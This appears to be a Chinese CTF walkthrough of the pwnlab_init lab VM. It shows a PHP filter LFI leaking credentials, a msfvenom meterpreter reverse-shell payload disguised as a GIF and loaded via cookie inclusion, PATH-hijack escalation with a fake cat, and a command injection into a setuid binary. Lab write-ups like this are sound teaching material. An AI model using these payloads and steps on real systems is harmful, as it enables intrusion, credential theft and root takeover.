pwnlab_init靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:pwnlab_init
平台:VMware Workstation 16.2
靶机为NAT模式
一、信息搜集
1.IP扫描
nmap -sn 192.168.9.0/24
2.端口扫描
nmap -A -p- 192.168.9.147
端口开放情况如下
| 端口 | 服务 |
|---|---|
| 80 | http |
| 111 | RPCbind |
| 3306 | mysql |
| 34323 | RPC |
3.目录扫描
访问其web页面

先进行目录扫描
dirsearch -u http://192.168.9.147/
存在config.php,推测该php文件有可能为数据库连接配置文件
二、漏洞利用
1.漏洞挖掘
使用php伪协议对config.php进行读 取,构造POC
http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=config
得到base64编码之后的文件内容,对内容进行解码
解码平台:CyberChef

解码后得到
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>得到数据库配置信息
用户名为root,密码为H4u%QJ_H99,结合端口扫描结果,mysql的3306端口为开放
可以尝试连接数据库
mysql -h 192.168.9.147 -uroot -p
成功进入数据库,开始对数据库进行信息搜集

存在information_schema和Users两个数据库

在Users数据库中存在users数据表,表中保存了3个用户的用户名和密码,并且密码是通过base编码的,尝试着解码
| 用户名 | 密码解码前 | 密码解码后 |
|---|---|---|
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy |
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I |
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo |
随便使用一个用户进行登录,登录进去之后可以进行文件上传

2.webshell
用msfvenom生成木马
msfvenom -p php/meterpreter_reverse_tcp lhost=172.20.133.136 lport=9999 -e -f raw > msfshell.php将该生成的木马添加GIF文件头标识GIF89a,并将木马文件后缀加上.gif

将该木马上传,上传之后得到该文件的路径

直接访问该文件并不能触发shell反弹,先通过php伪协议查看index.php页面的源码
http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=index
index.php源码为
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>代码审计之后,发现可以通过包含cookie内容来上传文件,使用Burp Suite抓包工具进行抓包,修改cookie参数
在访问index.php页面的时候对数据包进行拦截

在原有的cookie之后添加上lang=../upload/b8964ab92deb1499fe399606a3c64d0f.gif
kali启动msfconsole,使用use exploit/multi/handler模块,配置好lhost、lport和payload之后直接run
然后Burp Suite直接放包

成功拿到shell
3.提权
查看存在哪些用户
cat /etc/passwd
刚从数据库中找出的3个用户都存在,并且多出john用户,尝试使用数据库中的密码进行登录
经过测试,能成功登录的用户只有两个,分别是用户kent和用户kane,其中有信息利用价值的是用户kane
用户kane家目录下存在一个名为msgmike的文件,且所有者为mike,所以当执行msgmike时,是以mike身份运行

当运行msgmike后,会提示触发了cat命令

可以通过去全局变量进行提权,当运行cat命令的时候,因为全局变量的存在,cat即为/bin/cat,$PATH指向了/bin/
就有一个思路,在具有可执行权限的路径下(/tmp),伪造一个cat文件,更改全局变量$PATH重新指向到伪造的cat文件,当运行该伪造cat文件时,会触发一个新bash会话,从而完成横向渗透
在tmp目录下,进行伪造cat文件
echo /bin/bash > cat再对该伪造cat文件进行最高权限赋权
chmod 777 cat更改全局变量$PATH指向
export PATH=/tmp:$PATH回到kane家目录,执行msgmike

成功拿到用户mike
查看mike家目录下的文件

存在msg2root文件,所有者为root
尝试执行msg2root

在Message for root: 后面输入id && /bin/sh
通过/bin/sh新创建出一个会话
查看位于/root/flag.txt,但不能直接输入cat /root/flag.txt,因为刚刚修改了全局变量,cat指向的时位于/tmp下的伪造cat文件,需要用最原始的方法调用cat
/bin/cat /root/flag.txt即可得到flag值




































































































































